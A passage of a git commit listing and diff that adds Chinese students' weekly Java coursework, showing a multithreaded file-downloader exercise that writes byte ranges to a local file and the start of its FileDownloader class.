 create mode 100644 group23/563253496/week6_jvm/src/com/coderising/jvm/attr/LocalVariableTable.java
 create mode 100644 group23/563253496/week6_jvm/src/com/coderising/jvm/attr/StackMapTable.java
 create mode 100644 group23/563253496/week6_jvm/src/com/coderising/jvm/clz/AccessFlag.java
 create mode 100644 group23/563253496/week6_jvm/src/com/coderising/jvm/clz/ClassFile.java
 create mode 100644 group23/563253496/week6_jvm/src/com/coderising/jvm/clz/ClassIndex.java
 create mode 100644 group23/563253496/week6_jvm/src/com/coderising/jvm/cmd/BiPushCmd.java
 create mode 100644 group23/563253496/week6_jvm/src/com/coderising/jvm/cmd/ByteCodeCommand.java
 create mode 100644 group23/563253496/week6_jvm/src/com/coderising/jvm/cmd/CommandParser.java
 create mode 100644 group23/563253496/week6_jvm/src/com/coderising/jvm/cmd/GetFieldCmd.java
 create mode 100644 group23/563253496/week6_jvm/src/com/coderising/jvm/cmd/GetStaticFieldCmd.java
 create mode 100644 group23/563253496/week6_jvm/src/com/coderising/jvm/cmd/InvokeSpecialCmd.java
 create mode 100644 group23/563253496/week6_jvm/src/com/coderising/jvm/cmd/InvokeVirtualCmd.java
 create mode 100644 group23/563253496/week6_jvm/src/com/coderising/jvm/cmd/LdcCmd.java
 create mode 100644 group23/563253496/week6_jvm/src/com/coderising/jvm/cmd/NewObjectCmd.java
 create mode 100644 group23/563253496/week6_jvm/src/com/coderising/jvm/cmd/NoOperandCmd.java
 create mode 100644 group23/563253496/week6_jvm/src/com/coderising/jvm/cmd/OneOperandCmd.java
 create mode 100644 group23/563253496/week6_jvm/src/com/coderising/jvm/cmd/PutFieldCmd.java
 create mode 100644 group23/563253496/week6_jvm/src/com/coderising/jvm/cmd/TwoOperandCmd.java
 create mode 100644 group23/563253496/week6_jvm/src/com/coderising/jvm/constant/ClassInfo.java
 create mode 100644 group23/563253496/week6_jvm/src/com/coderising/jvm/constant/ConstantInfo.java
 create mode 100644 group23/563253496/week6_jvm/src/com/coderising/jvm/constant/ConstantPool.java
 create mode 100644 group23/563253496/week6_jvm/src/com/coderising/jvm/constant/FieldRefInfo.java
 create mode 100644 group23/563253496/week6_jvm/src/com/coderising/jvm/constant/MethodRefInfo.java
 create mode 100644 group23/563253496/week6_jvm/src/com/coderising/jvm/constant/NameAndTypeInfo.java
 create mode 100644 group23/563253496/week6_jvm/src/com/coderising/jvm/constant/NullConstantInfo.java
 create mode 100644 group23/563253496/week6_jvm/src/com/coderising/jvm/constant/StringInfo.java
 create mode 100644 group23/563253496/week6_jvm/src/com/coderising/jvm/constant/UTF8Info.java
 create mode 100644 group23/563253496/week6_jvm/src/com/coderising/jvm/field/Field.java
 create mode 100644 group23/563253496/week6_jvm/src/com/coderising/jvm/loader/ByteCodeIterator.java
 create mode 100644 group23/563253496/week6_jvm/src/com/coderising/jvm/loader/ClassFileLoader.java
 create mode 100644 group23/563253496/week6_jvm/src/com/coderising/jvm/loader/ClassFileParser.java
 create mode 100644 group23/563253496/week6_jvm/src/com/coderising/jvm/method/Method.java
 create mode 100644 group23/563253496/week6_jvm/src/com/coderising/jvm/test/ClassFileloaderTest.java
 create mode 100644 group23/563253496/week6_jvm/src/com/coderising/jvm/test/EmployeeV1.java
 create mode 100644 group23/563253496/week6_jvm/src/com/coderising/jvm/util/Util.java
 create mode 100644 group23/563253496/week6_stack/src/com/coderising/download/DownloadThread.java
 create mode 100644 group23/563253496/week6_stack/src/com/coderising/download/FileDownloader.java
 create mode 100644 group23/563253496/week6_stack/src/com/coderising/download/FileDownloaderTest.java
 create mode 100644 group23/563253496/week6_stack/src/com/coderising/download/api/Connection.java
 create mode 100644 group23/563253496/week6_stack/src/com/coderising/download/api/ConnectionException.java
 create mode 100644 group23/563253496/week6_stack/src/com/coderising/download/api/ConnectionManager.java
 create mode 100644 group23/563253496/week6_stack/src/com/coderising/download/api/DownloadListener.java
 create mode 100644 group23/563253496/week6_stack/src/com/coderising/download/impl/ConnectionImpl.java
 create mode 100644 group23/563253496/week6_stack/src/com/coderising/download/impl/ConnectionManagerImpl.java
 create mode 100644 group23/563253496/week6_stack/src/com/coderising/litestruts/LoginAction.java
 create mode 100644 group23/563253496/week6_stack/src/com/coderising/litestruts/Struts.java
 create mode 100644 group23/563253496/week6_stack/src/com/coderising/litestruts/StrutsTest.java
 create mode 100644 group23/563253496/week6_stack/src/com/coderising/litestruts/View.java
 create mode 100644 group23/563253496/week6_stack/src/com/coding/basic/BinaryTreeNode.java
 create mode 100644 group23/563253496/week6_stack/src/com/coding/basic/Iterator.java
 create mode 100644 group23/563253496/week6_stack/src/com/coding/basic/List.java
 create mode 100644 group23/563253496/week6_stack/src/com/coding/basic/Queue.java
 create mode 100644 group23/563253496/week6_stack/src/com/coding/basic/array/ArrayList.java
 create mode 100644 group23/563253496/week6_stack/src/com/coding/basic/array/ArrayUtil.java
 create mode 100644 group23/563253496/week6_stack/src/com/coding/basic/linklist/LRUPageFrame.java
 create mode 100644 group23/563253496/week6_stack/src/com/coding/basic/linklist/LRUPageFrameTest.java
 create mode 100644 group23/563253496/week6_stack/src/com/coding/basic/linklist/LinkedList.java
 create mode 100644 group23/563253496/week6_stack/src/com/coding/basic/stack/Stack.java
 create mode 100644 group23/563253496/week6_stack/src/com/coding/basic/stack/StackUtil.java
 create mode 100644 group23/563253496/week6_stack/src/com/coding/basic/stack/StackUtilTest.java
 create mode 100644 group23/563253496/week6_stack/src/com/coding/basic/stack/expr/InfixExpr.java
 create mode 100644 group23/563253496/week6_stack/src/com/coding/basic/stack/expr/InfixExprTest.java
 create mode 100644 group23/563253496/week7_jvm/src/com/coderising/jvm/attr/AttributeInfo.java
 create mode 100644 group23/563253496/week7_jvm/src/com/coderising/jvm/attr/CodeAttr.java
 create mode 100644 group23/563253496/week7_jvm/src/com/coderising/jvm/attr/LineNumberTable.java
 create mode 100644 group23/563253496/week7_jvm/src/com/coderising/jvm/attr/LocalVariableItem.java
 create mode 100644 group23/563253496/week7_jvm/src/com/coderising/jvm/attr/LocalVariableTable.java
 create mode 100644 group23/563253496/week7_jvm/src/com/coderising/jvm/attr/StackMapTable.java
 create mode 100644 group23/563253496/week7_jvm/src/com/coderising/jvm/clz/AccessFlag.java
 create mode 100644 group23/563253496/week7_jvm/src/com/coderising/jvm/clz/ClassFile.java
 create mode 100644 group23/563253496/week7_jvm/src/com/coderising/jvm/clz/ClassIndex.java
 create mode 100644 group23/563253496/week7_jvm/src/com/coderising/jvm/cmd/BiPushCmd.java
 create mode 100644 group23/563253496/week7_jvm/src/com/coderising/jvm/cmd/ByteCodeCommand.java
 create mode 100644 group23/563253496/week7_jvm/src/com/coderising/jvm/cmd/CommandParser.java
 create mode 100644 group23/563253496/week7_jvm/src/com/coderising/jvm/cmd/GetFieldCmd.java
 create mode 100644 group23/563253496/week7_jvm/src/com/coderising/jvm/cmd/GetStaticFieldCmd.java
 create mode 100644 group23/563253496/week7_jvm/src/com/coderising/jvm/cmd/InvokeSpecialCmd.java
 create mode 100644 group23/563253496/week7_jvm/src/com/coderising/jvm/cmd/InvokeVirtualCmd.java
 create mode 100644 group23/563253496/week7_jvm/src/com/coderising/jvm/cmd/LdcCmd.java
 create mode 100644 group23/563253496/week7_jvm/src/com/coderising/jvm/cmd/NewObjectCmd.java
 create mode 100644 group23/563253496/week7_jvm/src/com/coderising/jvm/cmd/NoOperandCmd.java
 create mode 100644 group23/563253496/week7_jvm/src/com/coderising/jvm/cmd/OneOperandCmd.java
 create mode 100644 group23/563253496/week7_jvm/src/com/coderising/jvm/cmd/PutFieldCmd.java
 create mode 100644 group23/563253496/week7_jvm/src/com/coderising/jvm/cmd/TwoOperandCmd.java
 create mode 100644 group23/563253496/week7_jvm/src/com/coderising/jvm/constant/ClassInfo.java
 create mode 100644 group23/563253496/week7_jvm/src/com/coderising/jvm/constant/ConstantInfo.java
 create mode 100644 group23/563253496/week7_jvm/src/com/coderising/jvm/constant/ConstantPool.java
 create mode 100644 group23/563253496/week7_jvm/src/com/coderising/jvm/constant/FieldRefInfo.java
 create mode 100644 group23/563253496/week7_jvm/src/com/coderising/jvm/constant/MethodRefInfo.java
 create mode 100644 group23/563253496/week7_jvm/src/com/coderising/jvm/constant/NameAndTypeInfo.java
 create mode 100644 group23/563253496/week7_jvm/src/com/coderising/jvm/constant/NullConstantInfo.java
 create mode 100644 group23/563253496/week7_jvm/src/com/coderising/jvm/constant/StringInfo.java
 create mode 100644 group23/563253496/week7_jvm/src/com/coderising/jvm/constant/UTF8Info.java
 create mode 100644 group23/563253496/week7_jvm/src/com/coderising/jvm/field/Field.java
 create mode 100644 group23/563253496/week7_jvm/src/com/coderising/jvm/loader/ByteCodeIterator.java
 create mode 100644 group23/563253496/week7_jvm/src/com/coderising/jvm/loader/ClassFileLoader.java
 create mode 100644 group23/563253496/week7_jvm/src/com/coderising/jvm/loader/ClassFileParser.java
 create mode 100644 group23/563253496/week7_jvm/src/com/coderising/jvm/method/Method.java
 create mode 100644 group23/563253496/week7_jvm/src/com/coderising/jvm/print/ClassFilePrinter.java
 create mode 100644 group23/563253496/week7_jvm/src/com/coderising/jvm/print/ConstantPoolPrinter.java
 create mode 100644 group23/563253496/week7_jvm/src/com/coderising/jvm/test/ClassFileloaderTest.java
 create mode 100644 group23/563253496/week7_jvm/src/com/coderising/jvm/test/EmployeeV1.java
 create mode 100644 group23/563253496/week7_jvm/src/com/coderising/jvm/util/Util.java
 create mode 100644 group23/563253496/week7_stack/src/com/coderising/download/DownloadThread.java
 create mode 100644 group23/563253496/week7_stack/src/com/coderising/download/FileDownloader.java
 create mode 100644 group23/563253496/week7_stack/src/com/coderising/download/FileDownloaderTest.java
 create mode 100644 group23/563253496/week7_stack/src/com/coderising/download/api/Connection.java
 create mode 100644 group23/563253496/week7_stack/src/com/coderising/download/api/ConnectionException.java
 create mode 100644 group23/563253496/week7_stack/src/com/coderising/download/api/ConnectionManager.java
 create mode 100644 group23/563253496/week7_stack/src/com/coderising/download/api/DownloadListener.java
 create mode 100644 group23/563253496/week7_stack/src/com/coderising/download/impl/ConnectionImpl.java
 create mode 100644 group23/563253496/week7_stack/src/com/coderising/download/impl/ConnectionManagerImpl.java
 create mode 100644 group23/563253496/week7_stack/src/com/coderising/litestruts/LoginAction.java
 create mode 100644 group23/563253496/week7_stack/src/com/coderising/litestruts/Struts.java
 create mode 100644 group23/563253496/week7_stack/src/com/coderising/litestruts/StrutsTest.java
 create mode 100644 group23/563253496/week7_stack/src/com/coderising/litestruts/View.java
 create mode 100644 group23/563253496/week7_stack/src/com/coding/basic/BinaryTreeNode.java
 create mode 100644 group23/563253496/week7_stack/src/com/coding/basic/Iterator.java
 create mode 100644 group23/563253496/week7_stack/src/com/coding/basic/List.java
 create mode 100644 group23/563253496/week7_stack/src/com/coding/basic/array/ArrayList.java
 create mode 100644 group23/563253496/week7_stack/src/com/coding/basic/array/ArrayUtil.java
 create mode 100644 group23/563253496/week7_stack/src/com/coding/basic/linklist/LRUPageFrame.java
 create mode 100644 group23/563253496/week7_stack/src/com/coding/basic/linklist/LRUPageFrameTest.java
 create mode 100644 group23/563253496/week7_stack/src/com/coding/basic/linklist/LinkedList.java
 create mode 100644 group23/563253496/week7_stack/src/com/coding/basic/queue/CircleQueue.java
 create mode 100644 group23/563253496/week7_stack/src/com/coding/basic/queue/Josephus.java
 create mode 100644 group23/563253496/week7_stack/src/com/coding/basic/queue/JosephusTest.java
 create mode 100644 group23/563253496/week7_stack/src/com/coding/basic/queue/Queue.java
 create mode 100644 group23/563253496/week7_stack/src/com/coding/basic/queue/QueueWithTwoStacks.java
 create mode 100644 group23/563253496/week7_stack/src/com/coding/basic/stack/Stack.java
 create mode 100644 group23/563253496/week7_stack/src/com/coding/basic/stack/StackUtil.java
 create mode 100644 group23/563253496/week7_stack/src/com/coding/basic/stack/StackUtilTest.java
 create mode 100644 group23/563253496/week7_stack/src/com/coding/basic/stack/expr/InfixExpr.java
 create mode 100644 group23/563253496/week7_stack/src/com/coding/basic/stack/expr/InfixExprTest.java
 create mode 100644 group23/563253496/week7_stack/src/com/coding/basic/stack/expr/InfixToPostfix.java
 create mode 100644 group23/563253496/week7_stack/src/com/coding/basic/stack/expr/PostfixExpr.java
 create mode 100644 group23/563253496/week7_stack/src/com/coding/basic/stack/expr/PostfixExprTest.java
 create mode 100644 group23/563253496/week7_stack/src/com/coding/basic/stack/expr/PrefixExpr.java
 create mode 100644 group23/563253496/week7_stack/src/com/coding/basic/stack/expr/PrefixExprTest.java
 create mode 100644 group23/563253496/week7_stack/src/com/coding/basic/stack/expr/Token.java
 create mode 100644 group23/563253496/week7_stack/src/com/coding/basic/stack/expr/TokenParser.java
 create mode 100644 group23/563253496/week7_stack/src/com/coding/basic/stack/expr/TokenParserTest.java
 create mode 100644 group23/563253496/week8_datastructure/src/CircleQueue.java
 create mode 100644 group23/563253496/week8_datastructure/src/Josephus.java
 create mode 100644 group23/563253496/week8_datastructure/src/JosephusTest.java
 create mode 100644 group23/563253496/week8_datastructure/src/Queue.java
 create mode 100644 group23/563253496/week8_datastructure/src/QueueWithTwoStacks.java
 create mode 100644 group23/563253496/week9_datastructure/src/QuickMinStack.java
 create mode 100644 group23/563253496/week9_datastructure/src/StackWithTwoQueues.java
 create mode 100644 group23/563253496/week9_datastructure/src/TwoStackInOneArray.java
 create mode 100644 group23/565832157/src/com/coderising/array/ArrayUtil.java
 create mode 100644 group23/565832157/src/com/coderising/download/DownloadThread.java
 create mode 100644 group23/565832157/src/com/coderising/download/FileDownloader.java
 create mode 100644 group23/565832157/src/com/coderising/download/FileDownloaderTest.java
 create mode 100644 group23/565832157/src/com/coderising/download/api/Connection.java
 create mode 100644 group23/565832157/src/com/coderising/download/api/ConnectionException.java
 create mode 100644 group23/565832157/src/com/coderising/download/api/ConnectionManager.java
 create mode 100644 group23/565832157/src/com/coderising/download/api/DownloadListener.java
 create mode 100644 group23/565832157/src/com/coderising/download/impl/ConnectionImpl.java
 create mode 100644 group23/565832157/src/com/coderising/download/impl/ConnectionManagerImpl.java
 create mode 100644 group23/565832157/src/com/coderising/litestruts/LoginAction.java
 create mode 100644 group23/565832157/src/com/coderising/litestruts/Struts.java
 create mode 100644 group23/565832157/src/com/coderising/litestruts/StrutsTest.java
 create mode 100644 group23/565832157/src/com/coderising/litestruts/View.java
 create mode 100644 group23/565832157/src/com/coding/basic/ArrayList.java
 create mode 100644 group23/565832157/src/com/coding/basic/BinaryTreeNode.java
 create mode 100644 group23/565832157/src/com/coding/basic/Iterator.java
 create mode 100644 group23/565832157/src/com/coding/basic/LinkedList.java
 create mode 100644 group23/565832157/src/com/coding/basic/List.java
 create mode 100644 group23/565832157/src/com/coding/basic/Queue.java
 create mode 100644 group23/565832157/src/com/coding/basic/Stack.java
 create mode 100644 group23/601689050/.gitattributes
 create mode 100644 group23/601689050/1List&BinaryTreeNode/ArrayList.java
 create mode 100644 group23/601689050/1List&BinaryTreeNode/BinaryTreeNode.java
 create mode 100644 group23/601689050/1List&BinaryTreeNode/Iterator.java
 create mode 100644 group23/601689050/1List&BinaryTreeNode/LinkedList.java
 create mode 100644 group23/601689050/1List&BinaryTreeNode/List.java
 create mode 100644 group23/601689050/1List&BinaryTreeNode/Queue.java
 create mode 100644 group23/601689050/1List&BinaryTreeNode/Stack.java
 create mode 100644 group23/601689050/4weekLRU&JVM/JVM/loader/ClassFileLoader.java
 create mode 100644 group23/601689050/4weekLRU&JVM/JVM/test/loader/ClassFileLoaderTest.java
 create mode 100644 group23/601689050/4weekLRU&JVM/JVM/test/loader/EmployeeV1.java
 create mode 100644 group23/601689050/4weekLRU&JVM/LRU/Iterator.java
 create mode 100644 group23/601689050/4weekLRU&JVM/LRU/LRUPageFrame.java
 create mode 100644 group23/601689050/4weekLRU&JVM/LRU/LRUPageFrameTest.java
 create mode 100644 group23/601689050/4weekLRU&JVM/LRU/LinkedList.java
 create mode 100644 group23/601689050/4weekLRU&JVM/LRU/List.java
 create mode 100644 group23/601689050/5weekStack/stack/Stack.java
 create mode 100644 group23/601689050/5weekStack/stack/StackUtil.java
 create mode 100644 group23/601689050/5weekStack/test/StackUtilTest.java
 create mode 100644 group23/601689050/6weekInfixExpr/InfixExpr.java
 create mode 100644 group23/601689050/6weekInfixExpr/InfixExprTest.java
 create mode 100644 group23/601689050/6weekInfixExpr/Stack.java
 create mode 100644 group23/601689050/6weekInfixExpr/Token.java
 create mode 100644 group23/601689050/6weekInfixExpr/TokenParser.java
 create mode 100644 group23/601689050/7weekExpr2/InfixExpr.java
 create mode 100644 group23/601689050/7weekExpr2/InfixToPostfix.java
 create mode 100644 group23/601689050/7weekExpr2/PostfixExpr.java
 create mode 100644 group23/601689050/7weekExpr2/PostfixExprTest.java
 create mode 100644 group23/601689050/7weekExpr2/PrefixExpr.java
 create mode 100644 group23/601689050/7weekExpr2/PrefixExprTest.java
 create mode 100644 group23/601689050/7weekExpr2/Stack.java
 create mode 100644 group23/601689050/7weekExpr2/Token.java
 create mode 100644 group23/601689050/7weekExpr2/TokenParser.java
 create mode 100644 group23/601689050/8weekQueue/CircleQueue.java
 create mode 100644 group23/601689050/8weekQueue/Josephus.java
 create mode 100644 group23/601689050/8weekQueue/Queue.java
 create mode 100644 group23/601689050/8weekQueue/QueueWithTwoStacks.java
 create mode 100644 group23/601689050/9weekStack/QuickMinStack.java
 create mode 100644 group23/601689050/9weekStack/StackWithTwoQueues.java
 create mode 100644 group23/601689050/9weekStack/TwoStackInOneArray.java
 create mode 100644 group23/609041842/src/code/ArrayList.java
 create mode 100644 group23/609041842/src/code/LinkedList.java
 create mode 100644 group23/609041842/src/code/Queue.java
 create mode 100644 group23/609041842/src/code/Stack.java
 create mode 100644 group23/609041842/src/com/homework01/ArrayList.java
 create mode 100644 group23/609041842/src/com/homework01/LinkedList.java
 create mode 100644 group23/609041842/src/com/homework01/Queue.java
 create mode 100644 group23/609041842/src/com/homework01/Stack.java
 create mode 100644 group23/609041842/src/test.java
 create mode 100644 group23/632678665/com/basic/datastructure/ArrayList.java
 create mode 100644 group23/632678665/com/basic/datastructure/LinkedList.java
 create mode 100644 group23/632678665/com/basic/datastructure/List.java
 create mode 100644 group23/632678665/com/basic/datastructure/Queue.java
 create mode 100644 group23/632678665/com/basic/datastructure/Stack.java
 create mode 100644 group23/632678665/com/basic/datastructure/TestDataStructure.java
 create mode 100644 group23/632678665/com/basic/week2/datastructure/ArrayTest.java
 create mode 100644 group23/632678665/com/basic/week2/datastructure/ArrayUtil.java
 create mode 100644 group23/632678665/com/basic/week2/litestruts/LoginAction.java
 create mode 100644 group23/632678665/com/basic/week2/litestruts/Struts.java
 create mode 100644 group23/632678665/com/basic/week2/litestruts/StrutsTest.java
 create mode 100644 group23/632678665/com/basic/week2/litestruts/View.java
 create mode 100644 group23/632678665/com/basic/week3/datastructure/LinkedList.java
 create mode 100644 group23/632678665/com/basic/week3/download/Demo.java
 create mode 100644 group23/632678665/com/basic/week3/download/DownloadThread.java
 create mode 100644 group23/632678665/com/basic/week3/download/FileDownloader.java
 create mode 100644 group23/632678665/com/basic/week3/download/FileDownloaderTest.java
 create mode 100644 group23/632678665/com/basic/week3/download/api/Connection.java
 create mode 100644 group23/632678665/com/basic/week3/download/api/ConnectionException.java
 create mode 100644 group23/632678665/com/basic/week3/download/api/ConnectionManager.java
 create mode 100644 group23/632678665/com/basic/week3/download/api/DownloadListener.java
 create mode 100644 group23/632678665/com/basic/week3/download/impl/ConnectionImpl.java
 create mode 100644 group23/632678665/com/basic/week3/download/impl/ConnectionManagerImpl.java
 create mode 100644 group23/632678665/com/basic/week4/jvm/loader/ClassFileLoader.java
 create mode 100644 group23/632678665/com/basic/week4/jvm/test/EmployeeV1.java
 create mode 100644 group23/632678665/com/basic/week4/lru/LRUPageFrame.java
 create mode 100644 group23/632678665/com/basic/week5/stack/StackUtil.java
 create mode 100644 group23/632678665/com/basic/week6/expr/InfixExpr.java
 create mode 100644 group23/632678665/com/basic/week6/expr/Token.java
 create mode 100644 group23/632678665/com/basic/week6/exprNew/InfixExpr.java
 create mode 100644 group23/632678665/com/basic/week6/exprNew/Operator.java
 create mode 100644 group23/632678665/com/basic/week6/exprNew/Token.java
 create mode 100644 group23/632678665/com/basic/week6/exprNew/TokenParser.java
 create mode 100644 group23/632678665/com/basic/week7/stack/MyStack.java
 create mode 100644 group23/632678665/com/basic/week7/stack/StackUtil.java
 create mode 100644 group23/632678665/com/basic/week7/stack/expr/ExprIterator.java
 create mode 100644 group23/632678665/com/basic/week7/stack/expr/InfixExpr.java
 create mode 100644 group23/632678665/com/basic/week7/stack/expr/InfixToPostExpr.java
 create mode 100644 group23/632678665/com/basic/week7/stack/expr/InfixToPostExprTest.java
 create mode 100644 group23/632678665/com/basic/week7/stack/expr/PostfixExpr.java
 create mode 100644 group23/632678665/com/basic/week7/stack/expr/PostfixExprTest.java
 create mode 100644 group23/632678665/com/basic/week7/stack/expr/PrefixExpr.java
 create mode 100644 group23/632678665/com/basic/week7/stack/expr/PrefixExprTest.java
 create mode 100644 group23/632678665/com/basic/week7/stack/expr/Token.java
 create mode 100644 group23/632678665/com/basic/week7/stack/expr/TokenParser.java
 create mode 100644 group23/632678665/com/basic/week7/stack/expr/TokenParserTest.java
 create mode 100644 group23/632678665/com/basic/week8/CircleQueue.java
 create mode 100644 group23/632678665/com/basic/week8/Josephus.java
 create mode 100644 group23/632678665/com/basic/week8/Queue.java
 create mode 100644 group23/632678665/com/basic/week8/QueueWithTwoStacks.java
 create mode 100644 group23/632678665/com/basic/week9/QuickMinStack.java
 create mode 100644 group23/632678665/com/basic/week9/StackWithTwoQueues.java
 create mode 100644 group23/632678665/com/basic/week9/TwoStackInOneArray.java
 create mode 100644 group23/729693763/First_Homework1/readme.md
 create mode 100644 group23/729693763/First_Homework1/src/com/danny/hw1/ArrayList.java
 create mode 100644 group23/729693763/First_Homework1/src/com/danny/hw1/BinaryTreeNode.java
 create mode 100644 group23/729693763/First_Homework1/src/com/danny/hw1/Iterator.java
 create mode 100644 group23/729693763/First_Homework1/src/com/danny/hw1/LinkedList.java
 create mode 100644 group23/729693763/First_Homework1/src/com/danny/hw1/List.java
 create mode 100644 group23/729693763/First_Homework1/src/com/danny/hw1/Queue.java
 create mode 100644 group23/729693763/First_Homework1/src/com/danny/hw1/Stack.java
 create mode 100644 group23/729693763/First_Homework1/src/com/danny/hw1/test/ArrayListTest.java
 create mode 100644 group23/729693763/First_Homework1/src/com/danny/hw1/test/BinaryTreeNodeTest.java
 create mode 100644 group23/729693763/First_Homework1/src/com/danny/hw1/test/LinkedListTest.java
 create mode 100644 group23/729693763/First_Homework1/src/com/danny/hw1/test/QueueTest.java
 create mode 100644 group23/729693763/First_Homework1/src/com/danny/hw1/test/StackTest.java
 create mode 100644 group23/729693763/First_Homework1/src/com/danny/hw1/test/SuitTest.java
 create mode 100644 group23/729693763/Second_Homework2/src/com/danny/hw2/ArrayUtil.java
 create mode 100644 group23/729693763/Second_Homework2/src/com/danny/hw2/LoginAction.java
 create mode 100644 group23/729693763/Second_Homework2/src/com/danny/hw2/Struts.java
 create mode 100644 group23/729693763/Second_Homework2/src/com/danny/hw2/View.java
 create mode 100644 group23/729693763/Second_Homework2/src/com/danny/hw2/test/ArrayUtilTest.java
 create mode 100644 group23/729693763/Second_Homework2/src/com/danny/hw2/test/StrutsTest.java
 create mode 100644 group23/729693763/Third_Homework3/DataStruct/Iterator.java
 create mode 100644 group23/729693763/Third_Homework3/DataStruct/LinkedList.java
 create mode 100644 group23/729693763/Third_Homework3/DataStruct/List.java
 create mode 100644 group23/729693763/Third_Homework3/download/DownloadThread.java
 create mode 100644 group23/729693763/Third_Homework3/download/FileDownloader.java
 create mode 100644 group23/729693763/Third_Homework3/download/FileDownloaderTest.java
 create mode 100644 group23/729693763/Third_Homework3/download/api/Connection.java
 create mode 100644 group23/729693763/Third_Homework3/download/api/ConnectionException.java
 create mode 100644 group23/729693763/Third_Homework3/download/api/ConnectionManager.java
 create mode 100644 group23/729693763/Third_Homework3/download/api/DownloadListener.java
 create mode 100644 group23/729693763/Third_Homework3/download/impl/ConnectionImpl.java
 create mode 100644 group23/729693763/Third_Homework3/download/impl/ConnectionManagerImpl.java
 create mode 100644 group23/729693763/homework1_demo/ArrayList.java
 create mode 100644 group23/729693763/homework1_demo/BinaryTreeNode.java
 create mode 100644 group23/729693763/homework1_demo/Iterator.java
 create mode 100644 group23/729693763/homework1_demo/LinkedList.java
 create mode 100644 group23/729693763/homework1_demo/List.java
 create mode 100644 group23/729693763/homework1_demo/Queue.java
 create mode 100644 group23/729693763/homework1_demo/Stack.java
 create mode 100644 group23/729693763/readme.md
 create mode 100644 group23/769232552/coding/src/main/java/code01/ArrayList.java
 create mode 100644 group23/769232552/coding/src/main/java/code01/BinaryTree.java
 create mode 100644 group23/769232552/coding/src/main/java/code01/Iterator.java
 create mode 100644 group23/769232552/coding/src/main/java/code01/LinkedList.java
 create mode 100644 group23/769232552/coding/src/main/java/code01/List.java
 create mode 100644 group23/769232552/coding/src/main/java/code01/Queue.java
 create mode 100644 group23/769232552/coding/src/main/java/code01/Stack.java
 create mode 100644 group23/769232552/coding/src/main/java/code02/ArrayUtil.java
 create mode 100644 group23/769232552/coding/src/main/java/code02/litestruts/ActionConfig.java
 create mode 100644 group23/769232552/coding/src/main/java/code02/litestruts/Configuration.java
 create mode 100644 group23/769232552/coding/src/main/java/code02/litestruts/LoginAction.java
 create mode 100644 group23/769232552/coding/src/main/java/code02/litestruts/ReflectionUtil.java
 create mode 100644 group23/769232552/coding/src/main/java/code02/litestruts/Struts.java
 create mode 100644 group23/769232552/coding/src/main/java/code02/litestruts/View.java
 create mode 100644 group23/769232552/coding/src/main/java/code03/DownloadThread.java
 create mode 100644 group23/769232552/coding/src/main/java/code03/FileDownloader.java
 create mode 100644 group23/769232552/coding/src/main/java/code03/api/Connection.java
 create mode 100644 group23/769232552/coding/src/main/java/code03/api/ConnectionException.java
 create mode 100644 group23/769232552/coding/src/main/java/code03/api/ConnectionManager.java
 create mode 100644 group23/769232552/coding/src/main/java/code03/api/DownloadListener.java
 create mode 100644 group23/769232552/coding/src/main/java/code03/impl/ConnectionImpl.java
 create mode 100644 group23/769232552/coding/src/main/java/code03/impl/ConnectionManagerImpl.java
 create mode 100644 group23/769232552/coding/src/main/java/code04/LRUPageFrame.java
 create mode 100644 group23/769232552/coding/src/main/java/mini_jvm/loader/ClassFileLoader.java
 create mode 100644 group23/769232552/coding/src/test/java/code01/ArrayListTest.java
 create mode 100644 group23/769232552/coding/src/test/java/code01/BinaryTreeTest.java
 create mode 100644 group23/769232552/coding/src/test/java/code01/LinkedListTest.java
 create mode 100644 group23/769232552/coding/src/test/java/code01/QueueTest.java
 create mode 100644 group23/769232552/coding/src/test/java/code01/StackTest.java
 create mode 100644 group23/769232552/coding/src/test/java/code02/ArrayUtilTest.java
 create mode 100644 group23/769232552/coding/src/test/java/code02/litestruts/StrutsTest.java
 create mode 100644 group23/769232552/coding/src/test/java/code03/FileDownloaderTest.java
 create mode 100644 group23/769232552/coding/src/test/java/code04/LRUPageFrameTest.java
 create mode 100644 group23/769232552/coding/src/test/java/mini_jvm/ClassFileloaderTest.java
 create mode 100644 group23/769232552/coding/src/test/java/mini_jvm/EmployeeV1.java
 create mode 100644 group23/810181789/src/firstday/ArrayListt.java
 create mode 100644 group23/810181789/src/firstday/LinkListt.java
 create mode 100644 group23/810181789/src/firstday/Queue.java
 create mode 100644 group23/810181789/src/firstday/Stack.java
 create mode 100644 group23/group23.md

diff --git a/group23/1028361767/1028361767.md b/group23/1028361767/1028361767.md
new file mode 100644
index 0000000000..741976ad6e
--- /dev/null
+++ b/group23/1028361767/1028361767.md
@@ -0,0 +1 @@
+This is 1028361767's project.
\ No newline at end of file
diff --git a/group23/1028361767/data-structure/src/com/coderising/download/DownloadThread.java b/group23/1028361767/data-structure/src/com/coderising/download/DownloadThread.java
new file mode 100644
index 0000000000..8cf0ae1e42
--- /dev/null
+++ b/group23/1028361767/data-structure/src/com/coderising/download/DownloadThread.java
@@ -0,0 +1,31 @@
+package com.coderising.download;
+
+import java.io.IOException;
+import java.io.RandomAccessFile;
+
+import com.coderising.download.api.Connection;
+
+public class DownloadThread extends Thread{
+
+	Connection conn;
+	int startPos;
+	int endPos;
+
+	public DownloadThread( Connection conn, int startPos, int endPos){
+		
+		this.conn = conn;		
+		this.startPos = startPos;
+		this.endPos = endPos;
+	}
+	public void run(){	
+		try {
+			byte[] bytes = conn.read(startPos, endPos);
+			RandomAccessFile file = new RandomAccessFile("/Users/jie/Desktop/test.png", "rw");
+			file.seek(startPos);
+			file.write(bytes);
+			file.close();
+		} catch (IOException e) {
+			e.printStackTrace();
+		}
+	}
+}
diff --git a/group23/1028361767/data-structure/src/com/coderising/download/FileDownloader.java b/group23/1028361767/data-structure/src/com/coderising/download/FileDownloader.java
new file mode 100644
index 0000000000..1fe4ebb159
--- /dev/null
+++ b/group23/1028361767/data-structure/src/com/coderising/download/FileDownloader.java
@@ -0,0 +1,104 @@
+package com.coderising.download;
+
+import com.coderising.download.api.Connection;
+import com.coderising.download.api.ConnectionException;
+import com.coderising.download.api.ConnectionManager;
+import com.coderising.download.api.DownloadListener;
+
+
+public class FileDownloader {
+	
+	String url;
+	
+	DownloadListener listener;
+	
+	ConnectionManager cm;
+	
+	Thread[] threads = new Thread[3];
+	
+
+	public FileDownloader(String _url) {
+		this.url = _url;
+		
+	}
+	
+	public void execute(){
+		// 在这里实现你的代码， 注意： 需要用多线程实现下载
+		// 这个类依赖于其他几个接口, 你需要写这几个接口的实现代码
+		// (1) ConnectionManager , 可以打开一个连接，通过Connection可以读取其中的一段（用startPos, endPos来指定）
